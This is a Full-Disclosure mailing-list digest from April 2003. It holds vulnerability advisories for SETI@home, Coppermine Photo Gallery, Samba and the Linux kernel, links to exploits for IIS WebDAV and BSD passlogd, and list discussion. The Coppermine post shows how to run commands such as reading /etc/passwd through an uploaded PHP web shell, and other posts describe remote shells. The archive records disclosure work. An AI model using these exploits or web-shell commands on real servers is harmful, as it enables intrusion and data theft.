hotmail.com (Hotmail) Date: Fri, 4 Apr 2003 21:32:21 -0800 Subject: [Full-Disclosure] IIS 5.0 Webdav Rootkit Message-ID: Morning Wood Inc. http://take.candyfrom.us 04/04/2003 Available now... full rootkit using Webdav exploit. Sorry no tutorial's ( heh ) Archive is available in a 1.01 version with 2 concepts. Comments welcomed. It should be noted that if you get the popup asking if it's SP1 it appears that it willl continue if you say "yes" but I have not seen it throw the remote shell. Otherwise... http://exploit.mine.nu/thecore/webdavin-1.01.zip or http://illmob.org/exploits/webdavin-1.01.zip Comments and colabrations welcomed, \ thank you morning_wood http://take.candyfrom.us Pro-Active Security - Now Available for Private Penetration and Exploit Services http://exploit.mine.nu Latest News and Tools -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030404/ed5360a5/attachment.html From smcmahon at eiv.com Sun Apr 6 02:24:28 2003 From: smcmahon at eiv.com (Shawn McMahon) Date: Sat, 5 Apr 2003 20:24:28 -0500 Subject: [Full-Disclosure] Re: improper scan abuse In-Reply-To: <003a01c2fafe$d3720f60$6400a8c0@bytew2k> References: <003a01c2fafe$d3720f60$6400a8c0@bytew2k> Message-ID: <20030406012428.GA31204@eiv.com> On Fri, Apr 04, 2003 at 07:06:29PM -0400, Stephen Menard said: > I do not accept those terms > Or maybe everyone should make such claims! So, are you gonna post the apology publicly too, like you did the accusation? -- Shawn McMahon | Let every nation know, whether it wishes us well or ill, EIV Consulting | that we shall pay any price, bear any burden, meet any UNIX and Linux | hardship, support any friend, oppose any foe, to assure http://www.eiv.com| the survival and the success of liberty. - JFK -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030405/6c98c842/attachment.bin From xploit at hackermail.com Sun Apr 6 10:52:49 2003 From: xploit at hackermail.com (dong-h0un U) Date: Sun, 06 Apr 2003 17:52:49 +0800 Subject: [Full-Disclosure] *BSD passlogd remote root exploit. Message-ID: <20030406095249.24742.qmail@hackermail.com> Made out *BSD exploit. It works in OpenBSD 3.0, FreeBSD 4.6.2-RELEASE. For reference, FreeBSD includes passlogd-0.1d port: http://www.freebsd.org/cgi/cvsweb.cgi/ports/net/passlogd/ Proof of Concept exploit: http://x82.inetcop.org/h0me/c0de/0x82-Remote.XxxxBSD_passlogd.xpl.c -- Thank you. -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From SkyLined at edup.tudelft.nl Sun Apr 6 11:10:08 2003 From: SkyLined at edup.tudelft.nl (Berend-Jan Wever) Date: Sun, 6 Apr 2003 12:10:08 +0200 Subject: [Full-Disclosure] Seti@home information leakage and remote compromise Message-ID: <002f01c2fc24$b3ee8250$0100a8c0@grotedoos> Information leakage and remotely __________________________________ exploitable buffer overflow in various SETI at home ..cc. seti at home clients and the main server. ..--''' $$$$ ,CCcc, .-' "": Januari 15, 2002 by Berend-Jan Wever $$$CCCCCCb ; : _______________________________ $$$$bbCCCCCCc; '. (_____ | Y$$$$$$bCCCCCCc : _____________)|<\/ Y$$$$$$$$$bCCCCc: Lined/ "$$$$$$$$$$$bCCc The homepage for absolutly nothing! "Y$$$$$$$$$$$" ``"**""'` http://spoor12.edup.tudelft.nl http://setiathome.berkeley.edu Confirmed information leaking: This issue affects all clients. Confirmed remote exploitable: setiathome-3.03.i386-pc-linux-gnu-gnulibc2.1 setiathome-3.03.i686-pc-linux-gnu-gnulibc2.1 setiathome-3.03.i386-pc-linux-gnulibc1-static setiathome-3.03.i686-pc-linux-gnulibc1-static setiathome-3.03.i386-winnt-cmdline.exe i386-unknown-freebsd2.2.8 (Special thanks to Niels Heinen) SETI at home.exe (v3.07 Screensaver) Confirmed DoS-able using buffer overflow: The main seti at home server at shserver2.ssl.berkeley.edu Presumed vulnerable to buffer overflow: All other clients. BACKGROUND INFORMATION----------------------------------------------------- >From "http://setiathome.berkeley.edu/" : "SETI at home is a scientific experiment that uses Internet-connected computers in the Search for Extraterrestrial Intelligence (SETI). You can participate by running a free program that downloads and analyzes radio telescope data. " "The SETI at home program is a special kind of screensaver. Like other screensavers it starts up when you leave your computer unattended, and it shuts down as soon as you return to work. What it does in the interim is unique. While you are getting coffee, or having lunch or sleeping, your computer will be helping the Search for Extraterrestrial Intelligence by analyzing data specially captured by the world's largest radio telescope. " "The client/screensaver is available for download only from this web page - we do not support SETI at home software obtained elsewhere. This software will upload and download data only from our data server here at Berkeley. The data server doesn't download any executable code to your computer. All in all, the screensaver is much safer than the browser you're running right now!" There are currently over four million registered users of seti at home. Over half a million of these users are "active"; they have returned at least one result within the last four weeks. THE VULNERABILITIES-------------------------------------------------------- The seti at home clients use the HTTP protocol to download new workunits, user information and to register new users. The implementation leaves two security vulnerabilities: 1) All information is send in plaintext across the network. This information includes the processor type and the operating system of the machine seti at home is running on. 2) There is a bufferoverflow in the server responds handler. Sending an overly large string followed by a newline ('\n') character to the client will trigger this overflow. This has been tested with various versions of the client. All versions are presumed to have this flaw in some form. 3) A similar buffer overflow seems to affect the main seti at home server at shserver2.ssl.berkeley.edu. It closes the connection after receiving a too large string of bytes followed by a '\n'. THE TECHNIQUE-------------------------------------------------------------- 1) Sniffing the information exposed by the seti at home client is trivial and very usefull to a malicious person planning an attack on a network. A passive scan of machines on a network can be made using any packetsniffer to grab the information from the network. 2) All tested clients have similar buffer overflows, which allowed setting eip to an arbitrairy value which can lead to arbitrairy code execution. An attacker would have to reroute the connection the client tries to make to the seti at home webserver to a machine he or she controls. This can be done using various widely available spoofing tools. Seti at home also has the ability to use a HTTP-proxy, an attacker could also use the machine the PROXY runs on as a base for this attack. Routers can also be used as a base for this attack. 3) Exploitation of the bug in the server has offcourse not been tested. Do understand that successfull exploitation of the bug in the server would offer a platform from which ALL seti at home clients can be exploited. THE EXPLOITS--------------------------------------------------------------- Attached to this mail you will find a sample exploit running on linux that will supply a remote shell to an attacker for various linux clients. It will crash the *BSD client, the windows commandline client and windows screensaver. TIMELINE------------------------------------------------------------------- 2002/12/05 Information leakage discovered. 2002/12/14 Bufferoverflow in client discovered. 2002/12/31 Seti at home team contacted through their website http://setiathome.berkeley.edu/help.html. 2003/01/07 Seti at home team contacted again. 2003/01/14 Bufferoverflow in server discovered. 2003/01/21 Seti at home team contacted again, this time through email. 2003/01/21 Seti at home team confirmed the problem. 2003/01/25 Seti at home team promissed fixed version are being build. 2003/02/03 Seti at home team informed me about problems with the fixes for the win32 version. In more then three months, the seti at home has been unable to produce a patched version of the clients. THANKS--------------------------------------------------------------------- Special thanks go out to: - Aleph1 for "Smashing the Stack for Fun and Profit". - Niels Heinen for his work on exploiting seti at home on FreeBSD. - Blazde and the other 0dd folks for help with the win32 shellcode. UNRELATED REQUEST---------------------------------------------------------- I'd like to take this opportunity to inform everybody who's interested that I am looking for a place to do an internship from august 2003 untill januari 2004. I am looking for a company where I can do some security related programming. I am a 26 year old student of Infomation Technology at the TH Rijswijk in the Netherlands. I have experience with various programming and scripting languages, operating systems and protocols. If you know of a company who would be interested or if you need more details like my C.V., please contact me through email at the address below. Best regards, Berend-Jan Wever SkyLined at edup.tudelft.nl http://Spoor12.EduP.TUDelft.nl From SkyLined at edup.tudelft.nl Sun Apr 6 11:32:24 2003 From: SkyLined at edup.tudelft.nl (Berend-Jan Wever) Date: Sun, 6 Apr 2003 12:32:24 +0200 Subject: [Full-Disclosure] Seti@home exploit Message-ID: <004901c2fc27$d0973610$0100a8c0@grotedoos> I'm only human... here's the attachment. :P It's a stripped version with the really cool features yanked out, but I'm sure you can code those yourself... You've got to ask yourself a question though: Could there be a remote compromise in the exploit itself ? Script kiddies beware... Last minute notice: Seti at home has finally produced fixed versions, that's why the advisory was released today. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030406/f6242ad6/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: spaceinvader.tbz2 Type: application/octet-stream Size: 8359 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030406/f6242ad6/attachment.obj From smenard at nbnet.nb.ca Sun Apr 6 12:30:21 2003 From: smenard at nbnet.nb.ca (S Menard) Date: Sun, 6 Apr 2003 08:30:21 -0300 Subject: [Full-Disclosure] Re: improper scan abuse References: <003a01c2fafe$d3720f60$6400a8c0@bytew2k> <20030406012428.GA31204@eiv.com> Message-ID: <000701c2fc2f$e9aa9bd0$6400a8c0@bytew2k> Thanks to Benjamin for quickly reminding me of the open mail relays points and adjusting my firewall rules to suit. Any further suggestions on known lists of But, It sounds like I hit a nerve. scanning for any reason SUCKS willie wonka candies some like em, some don't AND it brings up the whole defensive scanning / aggressive defense debate. I thought up a few scenarios where a user/admin can abuse this type of service can easily be abused So Shawn here's my PUBLIC APOLOGY for being an idiot who speaks his mind. Stephen Menard smenard at nbnet.nb.ca ----- Original Message ----- From: "Shawn McMahon" To: Sent: Saturday, April 05, 2003 10:24 PM Subject: Re: [Full-Disclosure] Re: improper scan abuse On Fri, Apr 04, 2003 at 07:06:29PM -0400, Stephen Menard said: > I do not accept those terms > Or maybe everyone should make such claims! So, are you gonna post the apology publicly too, like you did the accusation? From defaillance at hushmail.com Sun Apr 6 19:37:12 2003 From: defaillance at hushmail.com (defaillance at hushmail.com) Date: Sun, 6 Apr 2003 11:37:12 -0700 Subject: [Full-Disclosure] Re: IIS 5.0 Webdav Rootkit Message-ID: <200304061837.h36IbDs3079279@mailserver2.hushmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Now what does this "bundle" has to do with a rootkit ? afaik rootkits intercept calls () hide files and process and more... your package is simply a few batch file to automate the process of having nc listening on a port and launching the compiled exploit ! Am i missing something on your post or this is just a way to provide clueless wanna be with some recent exploit ? Matt? -----BEGIN PGP SIGNATURE----- Version: Hush 2.2 (Java) Note: This signature can be verified at https://www.hushtools.com/verify wmAEARECACAFAj6Qc9UZHGRlZmFpbGxhbmNlQGh1c2htYWlsLmNvbQAKCRAAqpYJlh8f xbppAJ4tva/CGRu4IfBAWzWCDJrb9CrtgQCdEme0e5YYq+r7hJuZ3+nwX+T7jTU= =311X -----END PGP SIGNATURE----- Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Big $$$ to be made with the HushMail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427 From pavel at suse.cz Sun Apr 6 21:31:47 2003 From: pavel at suse.cz (Pavel Machek) Date: Sun, 6 Apr 2003 22:31:47 +0200 Subject: [Full-Disclosure] Re: Syscall implementation could lead to whether or not a file exists In-Reply-To: <3E8B37D3.50906@d2.net.au> References: <3E8B37D3.50906@d2.net.au> Message-ID: <20030406203147.GB421@elf.ucw.cz> Hi! > After a while of experimentation, I found that the following > formuala seems to be relatively decent at avoiding false > positivites, on my RH box. > > cutoff = ((success_time + failure_time) / 3) - 2 > > This is somewhat dependant on the load on the box, and where the > file is located, though it appears. > > On some OS's (notably freebsd in my testing) it will store the > results of into its cache (different to linux, in the sense that it throws > off the algo above.). Thus, if you just create a file and time > open()ing that, then compare it with a file that has > been recently opened, you don't get a fair comparsision. > > > Fix: > > No known fix exists. Not exactly sure whether a fix is > appropiate, as the kernel is meant to be as fast as possible. Umm, this is nasty. Random delay in "return -EPERM" path would not help; making sure every syscall returning EPERM last at least 20usec would but implementing that would be hard. Pavel -- When do you have heart between your knees? From andrewg at d2.net.au Mon Apr 7 00:32:03 2003 From: andrewg at d2.net.au (andrewg at d2.net.au) Date: Mon, 7 Apr 2003 09:32:03 +1000 (EST) Subject: [Full-Disclosure] Re: Syscall implementation could lead to whether or not a file exists In-Reply-To: <20030406203147.GB421@elf.ucw.cz> References: <20030406203147.GB421@elf.ucw.cz> Message-ID: <3652.203.33.133.31.1049671923.squirrel@d2.net.au> > Hi! > >> After a while of experimentation, I found that the following >> formuala seems to be relatively decent at avoiding false >> positivites, on my RH box. >> >> cutoff = ((success_time + failure_time) / 3) - 2 >> >> This is somewhat dependant on the load on the box, and where the >> file is located, though it appears. >> >> On some OS's (notably freebsd in my testing) it will store the >> results of into its cache (different to linux, in the sense that it >> throws >> off the algo above.). Thus, if you just create a file and time >> open()ing that, then compare it with a file that has >> been recently opened, you don't get a fair comparsision. >> >> >> Fix: >> >> No known fix exists. Not exactly sure whether a fix is >> appropiate, as the kernel is meant to be as fast as possible. > > Umm, this is nasty. Random delay in "return -EPERM" path would not > help; making sure every syscall returning EPERM last at least 20usec > would but implementing that would be hard. Under linux, I would think you could do this in the return from the calling of sys_call_table easily, in the interrupt handler ;) However, extending the time the interrupt takes, imo, is bad. > Pavel > -- > When do you have heart between your knees? > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html Thanks, Andrew Griffiths From debian-security-announce at lists.debian.org Mon Apr 7 07:05:45 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Mon, 7 Apr 2003 08:05:45 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 274-2] New mutt packages fix arbitrary code execution in potato Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/420fd69c/attachment.ksh From debian-security-announce at lists.debian.org Mon Apr 7 09:34:53 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Mon, 7 Apr 2003 10:34:53 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 279-1] New metrics packages fix insecure temporary file creation Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/ce02be09/attachment.ksh From arjanv at redhat.com Mon Apr 7 11:47:00 2003 From: arjanv at redhat.com (Arjan van de Ven) Date: 07 Apr 2003 12:47:00 +0200 Subject: [Full-Disclosure] Syscall implementation could lead to whether or not a file exists In-Reply-To: <3E8B37D3.50906@d2.net.au> References: <3E8B37D3.50906@d2.net.au> Message-ID: <1049712420.14054.4.camel@laptop.fenrus.com> On Wed, 2003-04-02 at 21:19, Andrew Griffiths wrote: > Product: Linux and various other kernels > Tested: > - RedHat kernel 2.4.18-26.7.x (second latest ;)) > - RedHat kernel 2.4.18-27.7.x > - Debian 3.0 box > - FreeBSD 4.4 > > Description: > > Due to the implementation of various system calls, it becomes > possible to test whether or not a file exists in a directory > that is unreadable. .. by calling lstat(2). Ability to do lookup is controlled by _exec_ permissions, not read ones. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/9ae4cf09/attachment.bin From guninski at guninski.com Mon Apr 7 16:13:41 2003 From: guninski at guninski.com (Georgi Guninski) Date: Mon, 07 Apr 2003 18:13:41 +0300 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million Message-ID: <3E9195A5.1010006@guninski.com> http://www.securitynewsportal.com/cgi-bin/cgi-script/csNews/csNews.cgi?database=JanY%2edb&command=viewone&id=72&op=t Fine opinion about war and m$, but the statement "OpenBSD, which does not develop as many products as Microsoft, says only one vulnerability or hole has been found in its software in the past seven years" is untrue. Georgi From SkyLined at edup.tudelft.nl Mon Apr 7 17:47:57 2003 From: SkyLined at edup.tudelft.nl (Berend-Jan Wever) Date: Mon, 7 Apr 2003 18:47:57 +0200 Subject: [Full-Disclosure] Coppermine Photo Gallery remote compromise Message-ID: <001601c2fd25$717f2350$0100a8c0@grotedoos> ---AFFECTED SOFTWARE--- >From the website, http://www.chezgreg.net/coppermine/: "Coppermine Photo Gallery is a picture gallery script. Users can upload pictures with a web browser (thumbnails are created on the fly), add comments, send e-cards and view statistics about the pictures. " "The script use PHP, a MySQL database and the GD library (version 1.x or 2.x) or ImageMagick to make the thumbnails. An install script makes the installation very fast and easy." The problem was found in Coppermine 1.0 RC3, the latest stable release. The latest beta (1.1 beta 2) is not affected according to the author. ---PROMBLEMS--- Coppermine allows the uploading of images onto a server by logged in users and in a lot of configurations even anonymous uploading. The upload script has a buggy extention checking routine which allows the uploading of ".jpg.php" files. These files need to be a valid jpg-files or Coppermine will delete them. It is trivial to create a file which is a valid jpg and also a valid PHP script. Once uploaded, the PHP script can then be executed, allowing access to the remote server under the priviledges of the user PHP is running under. ---EXPLOIT--- Attached is a working exploit, upload this onto a vulnerable server and execute it like this: /albums/userpics/Copperminer.jpg.php?[command] Where command can be something like "id;uname%20-a" or "cat%20/etc/passwd" Note 1: MSIE will display Copperminer.jpg.php as an image, but lynx will display the output of the command you gave it. Note 2: http://www.google.com/search?q=allinurl%3A+/upload.php?album= ---TIMELINE--- mar 31, 2003 - Issue discovered, working exploit written. mar 31, 2003 - Author contacted, problem aknowledged by author. apr 05, 2003 - Patches released through Coppermine website. apr 07, 2003 - Information disclosed. ---PATCH--- Can be found at http://www.chezgreg.net/coppermine/ Kind regards, Berend-Jan Wever http://spoor12.edup.tudelft.nl -------------- next part -------------- A non-text attachment was scrubbed... Name: Copperminer.jpg.php Type: application/octet-stream Size: 5340 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/7c70612e/attachment.obj From security at linux-mandrake.com Mon Apr 7 17:56:27 2003 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: 7 Apr 2003 16:56:27 -0000 Subject: [Full-Disclosure] MDKSA-2003:044 - Updated samba packages fix remote root vulnerability Message-ID: <20030407165627.26613.qmail@updates.mandrakesoft.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: samba Advisory ID: MDKSA-2003:044 Date: April 7th, 2003 Affected versions: 8.2, 9.0, 9.1, Corporate Server 2.1, Multi Network Firewall 8.2 ________________________________________________________________________ Problem Description: An exploitable buffer overflow was discovered in the Samba server that can lead to an anonymous remote root compromise. The Samba Team also discovered some potential overflows during an internal code audit which was done in response to the previously noted buffer overflow problem. All versions of Samba prior to 2.2.8a are vulnerable. The provided updates contain a patch from the Samba Team to correct the issue. An exploit is known to exist and all Mandrake Linux users are encouraged to upgrade immediately. ________________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0196 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201 ________________________________________________________________________ Updated Packages: Corporate Server 2.1: 8321018fc90e4bc68dadab4d72521c87 corporate/2.1/RPMS/nss_wins-2.2.7a-9.2mdk.i586.rpm 11da01c105f26b4ec14d66d5f409fb89 corporate/2.1/RPMS/samba-client-2.2.7a-9.2mdk.i586.rpm cb519586ae1ebfa2e7a1d47b35c74a11 corporate/2.1/RPMS/samba-common-2.2.7a-9.2mdk.i586.rpm 611e135abef662cde6cd3fd4ea8ed5a3 corporate/2.1/RPMS/samba-doc-2.2.7a-9.2mdk.i586.rpm e9d92f1d7242017f92a95ec5b650e6f1 corporate/2.1/RPMS/samba-server-2.2.7a-9.2mdk.i586.rpm 30d9c64e5471e528948503363dc411b9 corporate/2.1/RPMS/samba-swat-2.2.7a-9.2mdk.i586.rpm 676e104d5e9a9438647fc4988b757d07 corporate/2.1/RPMS/samba-winbind-2.2.7a-9.2mdk.i586.rpm f42ea9eda795771deaec003f69bec76e corporate/2.1/SRPMS/samba-2.2.7a-9.2mdk.src.rpm Mandrake Linux 8.2: e207c883fcc61a3b93f7794a651bdc80 8.2/RPMS/nss_wins-2.2.7a-9.2mdk.i586.rpm 021e8bb91b942c3da85a4b954de9e28e 8.2/RPMS/samba-client-2.2.7a-9.2mdk.i586.rpm fa751f2b1ac7f3172e1af645465caf21 8.2/RPMS/samba-common-2.2.7a-9.2mdk.i586.rpm 2cf51777e9dcda14f1103d06f380742a 8.2/RPMS/samba-doc-2.2.7a-9.2mdk.i586.rpm e160bdc80ae180aa7dadae2a0c64fd32 8.2/RPMS/samba-server-2.2.7a-9.2mdk.i586.rpm de2247d10bfaac07d2b9dacc6c55d652 8.2/RPMS/samba-swat-2.2.7a-9.2mdk.i586.rpm 355809847a6567ab3fd1dc7bea0c0362 8.2/RPMS/samba-winbind-2.2.7a-9.2mdk.i586.rpm f42ea9eda795771deaec003f69bec76e 8.2/SRPMS/samba-2.2.7a-9.2mdk.src.rpm Mandrake Linux 8.2/PPC: e56e6cc2bf7d3b623a1266a77597f5bb ppc/8.2/RPMS/nss_wins-2.2.7a-9.2mdk.ppc.rpm 7c290f95fcd2dbdb1b77566f234d5c70 ppc/8.2/RPMS/samba-client-2.2.7a-9.2mdk.ppc.rpm 6b0e979184a8d213e69e8bca01e6ff3c ppc/8.2/RPMS/samba-common-2.2.7a-9.2mdk.ppc.rpm cfe3b16024ae9e1c19adc25ae01515d1 ppc/8.2/RPMS/samba-doc-2.2.7a-9.2mdk.ppc.rpm da6960246589e5ad2093c377f01d8333 ppc/8.2/RPMS/samba-server-2.2.7a-9.2mdk.ppc.rpm 9c1ba51f3659593d2a52d6b86f953ebb ppc/8.2/RPMS/samba-swat-2.2.7a-9.2mdk.ppc.rpm c7ee3154ebaa8e1c4923ccf1f15b4baf ppc/8.2/RPMS/samba-winbind-2.2.7a-9.2mdk.ppc.rpm f42ea9eda795771deaec003f69bec76e ppc/8.2/SRPMS/samba-2.2.7a-9.2mdk.src.rpm Mandrake Linux 9.0: 8321018fc90e4bc68dadab4d72521c87 9.0/RPMS/nss_wins-2.2.7a-9.2mdk.i586.rpm 11da01c105f26b4ec14d66d5f409fb89 9.0/RPMS/samba-client-2.2.7a-9.2mdk.i586.rpm cb519586ae1ebfa2e7a1d47b35c74a11 9.0/RPMS/samba-common-2.2.7a-9.2mdk.i586.rpm 611e135abef662cde6cd3fd4ea8ed5a3 9.0/RPMS/samba-doc-2.2.7a-9.2mdk.i586.rpm e9d92f1d7242017f92a95ec5b650e6f1 9.0/RPMS/samba-server-2.2.7a-9.2mdk.i586.rpm 30d9c64e5471e528948503363dc411b9 9.0/RPMS/samba-swat-2.2.7a-9.2mdk.i586.rpm 676e104d5e9a9438647fc4988b757d07 9.0/RPMS/samba-winbind-2.2.7a-9.2mdk.i586.rpm f42ea9eda795771deaec003f69bec76e 9.0/SRPMS/samba-2.2.7a-9.2mdk.src.rpm Mandrake Linux 9.1: 524b564fae35498da1d62aaeeacb8856 9.1/RPMS/nss_wins-2.2.7a-9.2mdk.i586.rpm 7b92e69f651cd84fecb83d162f8da235 9.1/RPMS/samba-client-2.2.7a-9.2mdk.i586.rpm 5523f60af9b0dede59157c46a67839c0 9.1/RPMS/samba-common-2.2.7a-9.2mdk.i586.rpm 92eb939169c44addc2af6b89784c8e34 9.1/RPMS/samba-doc-2.2.7a-9.2mdk.i586.rpm 5e2cf00a17ded9b93d545d708089dd91 9.1/RPMS/samba-server-2.2.7a-9.2mdk.i586.rpm e8192e6a5a416004146f5f20eadae7c1 9.1/RPMS/samba-swat-2.2.7a-9.2mdk.i586.rpm 0a10e256cd28848d38f84a45a6e8db22 9.1/RPMS/samba-winbind-2.2.7a-9.2mdk.i586.rpm f42ea9eda795771deaec003f69bec76e 9.1/SRPMS/samba-2.2.7a-9.2mdk.src.rpm Mandrake Linux 9.1/PPC: ac688d92894403dd5e8c3f3810b839e6 ppc/9.1/RPMS/nss_wins-2.2.7a-9.2mdk.ppc.rpm a75aacf65500187c133609189ba540a8 ppc/9.1/RPMS/samba-client-2.2.7a-9.2mdk.ppc.rpm 07bc6f486fc99b6c67f8f0278a8ef9ea ppc/9.1/RPMS/samba-common-2.2.7a-9.2mdk.ppc.rpm 74a796994e0d35b549eb3e5ea9f145f8 ppc/9.1/RPMS/samba-doc-2.2.7a-9.2mdk.ppc.rpm ee1b94e4363a1ccfe385d76d440c713b ppc/9.1/RPMS/samba-server-2.2.7a-9.2mdk.ppc.rpm 1c025c015833e159de67aa1112949a54 ppc/9.1/RPMS/samba-swat-2.2.7a-9.2mdk.ppc.rpm 5c4d5af655bc2493ad296f78654dda18 ppc/9.1/RPMS/samba-winbind-2.2.7a-9.2mdk.ppc.rpm f42ea9eda795771deaec003f69bec76e ppc/9.1/SRPMS/samba-2.2.7a-9.2mdk.src.rpm Multi Network Firewall 8.2: 021e8bb91b942c3da85a4b954de9e28e mnf8.2/RPMS/samba-client-2.2.7a-9.2mdk.i586.rpm fa751f2b1ac7f3172e1af645465caf21 mnf8.2/RPMS/samba-common-2.2.7a-9.2mdk.i586.rpm f42ea9eda795771deaec003f69bec76e mnf8.2/SRPMS/samba-2.2.7a-9.2mdk.src.rpm ________________________________________________________________________ Bug IDs fixed (see https://qa.mandrakesoft.com for more information): ________________________________________________________________________ To upgrade automatically, use MandrakeUpdate. The verification of md5 checksums and GPG signatures is performed automatically for you. If you want to upgrade manually, download the updated package from one of our FTP server mirrors and upgrade with "rpm -Fvh *.rpm". A list of FTP mirrors can be obtained from: http://www.mandrakesecure.net/en/ftp.php Please verify the update prior to upgrading to ensure the integrity of the downloaded package. You can do this with the command: rpm --checksig All packages are signed by MandrakeSoft for security. You can obtain the GPG public key of the Mandrake Linux Security Team from: https://www.mandrakesecure.net/RPM-GPG-KEYS Please be aware that sometimes it takes the mirrors a few hours to update. You can view other update advisories for Mandrake Linux at: http://www.mandrakesecure.net/en/advisories/ MandrakeSoft has several security-related mailing list services that anyone can subscribe to. Information on these lists can be obtained by visiting: http://www.mandrakesecure.net/en/mlist.php If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) mQGiBDlp594RBAC2tDozI3ZgQsE7XwxurJCJrX0L5vx7SDByR5GHDdWekGhdiday L4nfUax+SeR9SCoCgTgPW1xB8vtQc8/sinJlMjp9197a2iKM0FOcPlkpa3HcOdt7 WKJqQhlMrHvRcsivzcgqjH44GBBJIT6sygUF8k0lU6YnMHj5MPc/NGWt8wCg9vKo P0l5QVAFSsHtqcU9W8cc7wMEAJzQsAlnvPXDBfBLEH6u7ptWFdp0GvbSuG2wRaPl hynHvRiE01ZvwbJZXsPsKm1z7uVoW+NknKLunWKB5axrNXDHxCYJBzY3jTeFjsqx PFZkIEAQphLTkeXXelAjQ5u9tEshPswEtMvJvUgNiAfbzHfPYmq8D6x5xOw1IySg 2e/LBACxr2UJYCCB2BZ3p508mAB0RpuLGukq+7UWiOizy+kSskIBg2O7sQkVY/Cs iyGEo4XvXqZFMY39RBdfm2GY+WB/5NFiTOYJRKjfprP6K1YbtsmctsX8dG+foKsD LLFs7OuVfaydLQYp1iiN6D+LJDSMPM8/LCWzZsgr9EKJ8NXiyrQ6TGludXggTWFu ZHJha2UgU2VjdXJpdHkgVGVhbSA8c2VjdXJpdHlAbGludXgtbWFuZHJha2UuY29t PohWBBMRAgAWBQI5aefeBAsKBAMDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmK6LAKCy /NInDsaMSI+WHwrquwC5PZrcnQCeI+v3gUDsNfQfiKBvQSANu1hdulqIRgQQEQIA BgUCOtNVGQAKCRBZ5w3um0pAJJWQAKDUoL5He+mKbfrMaTuyU5lmRyJ0fwCgoFAP WdvQlu/kFjphF740XeOwtOqIRgQQEQIABgUCOu8A6QAKCRBynDnb9lq3CnpjAJ4w Pk0SEE9U4r40IxWpwLU+wrWVugCdFfSPllPpZRCiaC7HwbFcfExRmPaIRgQQEQIA BgUCPI+UAwAKCRDniYrgcHcf8xK5AKCm/Mq8qP8GE0o1hEX22QsJMZwH5gCfZ72H 8TacOb3oAmBdprf+K6gkdOiIRgQQEQIABgUCOtOieAAKCRCv2bZyU0yB80MeAJ9K +jXt0cKuaUonRU+CRGetk6t9dgCfTRRL6/puOKdD6md70+K5EBBSvsG0OE1hbmRy YWtlIExpbnV4IFNlY3VyaXR5IFRlYW0gPHNlY3VyaXR5QG1hbmRyYWtlc29mdC5j b20+iFcEExECABcFAjyPnuUFCwcKAwQDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmFi+ AJsHhohgnU3ik4+gy3EdFlB2i/MBoACg6lHn5cnVvTcmgNccWxeNxLLZI5e5AQ0E OWnn7xAEAOQlTVY4TiNo5V/iP0J1xnqjqlqZsU7yEBKo/gZz6/+hx75RURe1ebiJ 9F779FQbpJ9Epz1KLSXvq974rnVb813zuGdmgFyk+ryA/rTR2RQ8h+EoNkwmATzR xBXVJb57fFQjxOu4eNjZAtfII/YXb0uyXXrdr5dlJ/3eXrcO4p0XAAMFBACCxo6Z 269s+A4v8C6Ui12aarOQcCDlV8cVG9LkyatU3FNTlnasqwo6EkaP572448weJWwN 6SCXVl+xOYLiK0hL/6Jb/O9Agw75yUVdk+RMM2I4fNEi+y4hmfMh2siBv8yEkEvZ jTcl3TpkTfzYky85tu433wmKaLFOv0WjBFSikohGBBgRAgAGBQI5aefvAAoJEJqo 0NAiRYqYid0AoJgeWzXrEdIClBOSW5Q6FzqJJyaqAKC0Y9YI3UFlE4zSIGjcFlLJ EJGXlA== =yGlX - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+ka27mqjQ0CJFipgRAjzmAJ4zMFpbeqZzlLaqEi2CVmA7bcINgQCghi3k ekPn7qmA/JJ5+xuOvIx/Ljs= =+FbA -----END PGP SIGNATURE----- From vasil at cs.utk.edu Mon Apr 7 18:48:54 2003 From: vasil at cs.utk.edu (David Vasil) Date: Mon, 7 Apr 2003 13:48:54 -0400 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million In-Reply-To: <3E9195A5.1010006@guninski.com> References: 